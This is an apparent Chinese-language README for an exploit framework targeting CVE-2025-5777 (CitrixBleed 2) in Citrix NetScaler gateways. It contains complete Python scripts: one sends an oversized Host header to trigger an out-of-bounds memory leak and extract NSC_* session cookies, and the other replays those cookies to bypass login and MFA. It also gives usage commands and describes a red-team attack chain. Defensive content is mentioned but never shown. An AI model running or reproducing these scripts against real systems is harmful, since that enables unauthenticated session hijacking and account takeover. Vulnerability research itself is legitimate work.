CitrixBleed 2 (CVE-2025-5777) 内存泄漏利用框架
一个针对 CVE-2025-5777 的研究级利用与防御检测框架,深度剖析 Citrix NetScaler ADC/Gateway 越界内存读取漏洞。
项目简介
CVE-2025-5777(又称 CitrixBleed 2)是 Citrix NetScaler ADC 和 Gateway 产品中的一个严重 越界内存读取 (OOB Read) 漏洞。攻击者无需任何身份验证,仅通过发送一个包含超长 Host 头的恶意 HTTP 请求,即可迫使目标设备将内核内存中的敏感数据(如会话 Cookie NSC_USER、NSC_TASS、SAML 状态上下文、MFA 令牌等)随响应一起返回。攻击者利用泄露的会话信息可直接绕过身份验证和 MFA,实现会话劫持。
本项目基于对漏洞原理的深度逆向分析,提供了从漏洞触发、信息泄露到会话复用的完整工具链,并包含面向红队和蓝队的详尽操作手册。
功能特性
- 内存泄露利用 (PoC):发送特制的超长
Host头请求,触发目标设备的 OOB 内存读取,并将泄露的内存数据保存为文件。 - 会话自动提取:自动从泄露的内存数据中正则匹配并提取所有
NSC_*格式的会话 Cookie。 - 会话复用验证:提供独立的会话验证脚本,使用泄露的
NSC_USER和NSC_TASS尝试登录目标系统,确认漏洞利用是否成功。 - 红队实战链:包含从资产发现、漏洞扫描、内存泄露、凭证提取到会话劫持和横向移动的完整攻击链指导。
- 蓝队防御手册:提供详细的检测方法(Sigma/Suricata 规则)、取证分析指南、补丁验证步骤及 WAF 加固建议。
- 源码级机理分析:深入 NetScaler 的
WebProc进程处理逻辑,剖析snprintf()与memcpy()在 C 语言层面的缺陷,揭示漏洞根本原因。
安装指南
系统要求
- Python 3.6 或更高版本
- 支持的操作系统:Linux、macOS、Windows (WSL 推荐)
依赖安装
本项目依赖 requests 库。使用以下命令快速安装所需依赖:
# 克隆本仓库 (假设已获取代码)
# git clone <repository-url>
# cd <repository-name>
# 安装 Python 依赖
pip install requests urllib3
所有脚本均已内置禁用 SSL 警告 (urllib3.disable_warnings()),以兼容存在自签名证书的测试环境。
使用说明
1. 内存泄露探测与利用 (PoC)
使用 poc.py 脚本向目标网关发送恶意请求,触发漏洞并保存泄露的内存数据。
python3 poc.py https://target-gateway.example.com
- 执行流程:
- 构造包含约 24KB (0x6000 字节) 超长
Host头的 GET 请求。 - 发送请求到
/nf/auth/startwebview.do端点。 - 将服务器返回的响应内容保存为
leak_output.bin。 - 自动从响应中搜索
NSC_开头的会话 Cookie 并打印。
- 构造包含约 24KB (0x6000 字节) 超长
示例输出:
[+] Sending OOB Host header to https://target-gateway.example.com/nf/auth/startwebview.do
[+] Response received: 32768 bytes
[+] Potential session cookies found:
- NSC_USER=admin
- NSC_TASS=7acbb35f4d8e2f1a9c6d3b8e4f2a1c7d
2. 会话复用验证 (Exp)
获得有效的 NSC_USER 和 NSC_TASS 值后,使用 exp.py 脚本验证其有效性,实现无需密码的登录。
python3 exp.py https://target-gateway.example.com <NSC_USER值> <NSC_TASS值>
示例:
python3 exp.py https://target-gateway.example.com admin 7acbb35f4d8e2f1a9c6d3b8e4f2a1c7d
成功标志: 脚本会访问 /vpn/index.html,若响应页面中包含 "Log Off" 或 "Welcome" 字样,则证明会话复用成功,已绕过登录验证。
[+] Session replay successful: login bypassed!
核心代码
核心利用代码 (poc.py) - 内存泄露触发器
#!/usr/bin/env python3
# CVE-2025-5777 CitrixBleed 2 - OOB Memory Leak PoC
# ⚠️ Authorized Testing Only
import requests
import sys
import re
import urllib3
urllib3.disable_warnings()
def leak_memory(target_url):
# 构造恶意请求:目标端点为易受攻击的 startwebview.do
url = target_url.rstrip("/") + "/nf/auth/startwebview.do"
# 超长 Host 头,大小超过内部缓冲区 (0x1800),触发越界读
headers = {
"Host": "A" * 0x6000 # 24KB,远超缓冲区大小
}
print(f"[+] Sending OOB Host header to {url}")
try:
# 发送请求,不验证 SSL 证书
r = requests.get(url, headers=headers, verify=False, timeout=10)
except Exception as e:
print(f"[-] Request failed: {e}")
return
print(f"[+] Response received: {len(r.content)} bytes")
# 将泄露的原始内存数据保存到文件,供后续深入分析
with open("leak_output.bin", "wb") as f:
f.write(r.content)
# 在响应内容中搜索所有 NSC_ 开头的会话凭证
hits = re.findall(rb"(NSC_[A-Z]+=[^;\r\n ]+)", r.content)
if hits:
print("[+] Potential session cookies found:")
for hit in hits:
print(f" - {hit.decode(errors='ignore')}")
else:
print("[-] No NSC_* cookies found. Try again or validate target.")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} https://target-gateway")
sys.exit(1)
leak_memory(sys.argv[1])
会话复用验证代码 (exp.py)
import requests
import sys
import urllib3
urllib3.disable_warnings()
def validate_session(target, cookie_dict):
# 验证会话是否有效的端点
url = target.rstrip("/") + "/vpn/index.html"
try:
# 使用泄露的 Cookie 发起请求
r = requests.get(url, cookies=cookie_dict, verify=False, timeout=8)
# 检测响应中是否存在登录后的特征字符串
if "Log Off" in r.text or "Welcome" in r.text:
print("[+] Session replay successful: login bypassed!")
else:
print("[-] Session invalid or expired.")
except Exception as e:
print(f"[-] Failed: {e}")
if __name__ == "__main__":
if len(sys.argv) != 4:
print(f"Usage: {sys.argv[0]} https://target NSC_USER_val NSC_TASS_val")
sys.exit(1)
# 将从内存泄露中提取的 Cookie 组装成字典
cookie = {
"NSC_USER": sys.argv[2],
"NSC_TASS": sys.argv[3]
}
validate_session(sys.argv[1], cookie)
```FINISHED
6HFtX5dABrKlqXeO5PUv/+BTcuIMkX4UpCa+HKI+q0yDahaZlXLP9WOrXw/pNPyn29tG4zohbGmyxbhFKPq2HQ==